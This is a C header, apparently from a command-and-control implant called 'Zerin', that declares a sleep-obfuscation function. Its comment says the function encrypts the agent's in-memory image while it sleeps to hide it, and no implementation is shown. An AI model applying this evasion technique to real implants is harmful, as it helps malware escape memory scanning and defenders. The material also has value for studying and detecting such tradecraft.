15 lines
471 B
C
15 lines
471 B
C
#ifndef ZERIN_SLEEP_OBF_H
|
|||
|
|
#define ZERIN_SLEEP_OBF_H
|
||
|
|
|
||
|
|
#include <stdint.h>
|
||
|
|
|
||
|
|
// Obfuscated sleep: encrypts the agent's image in memory during the
|
||
|
|
// sleep interval using XOR with the provided key, then decrypts on wake.
|
||
|
|
// Falls back to a plain Sleep() if setup fails.
|
||
|
|
//
|
||
|
|
// ms — sleep duration in milliseconds
|
||
|
|
// key — 32-byte encryption key (typically the session key)
|
||
|
|
int sleep_obfuscated(uint32_t ms, const uint8_t *key);
|
||
|
|
|
||
|
|
#endif // ZERIN_SLEEP_OBF_H
|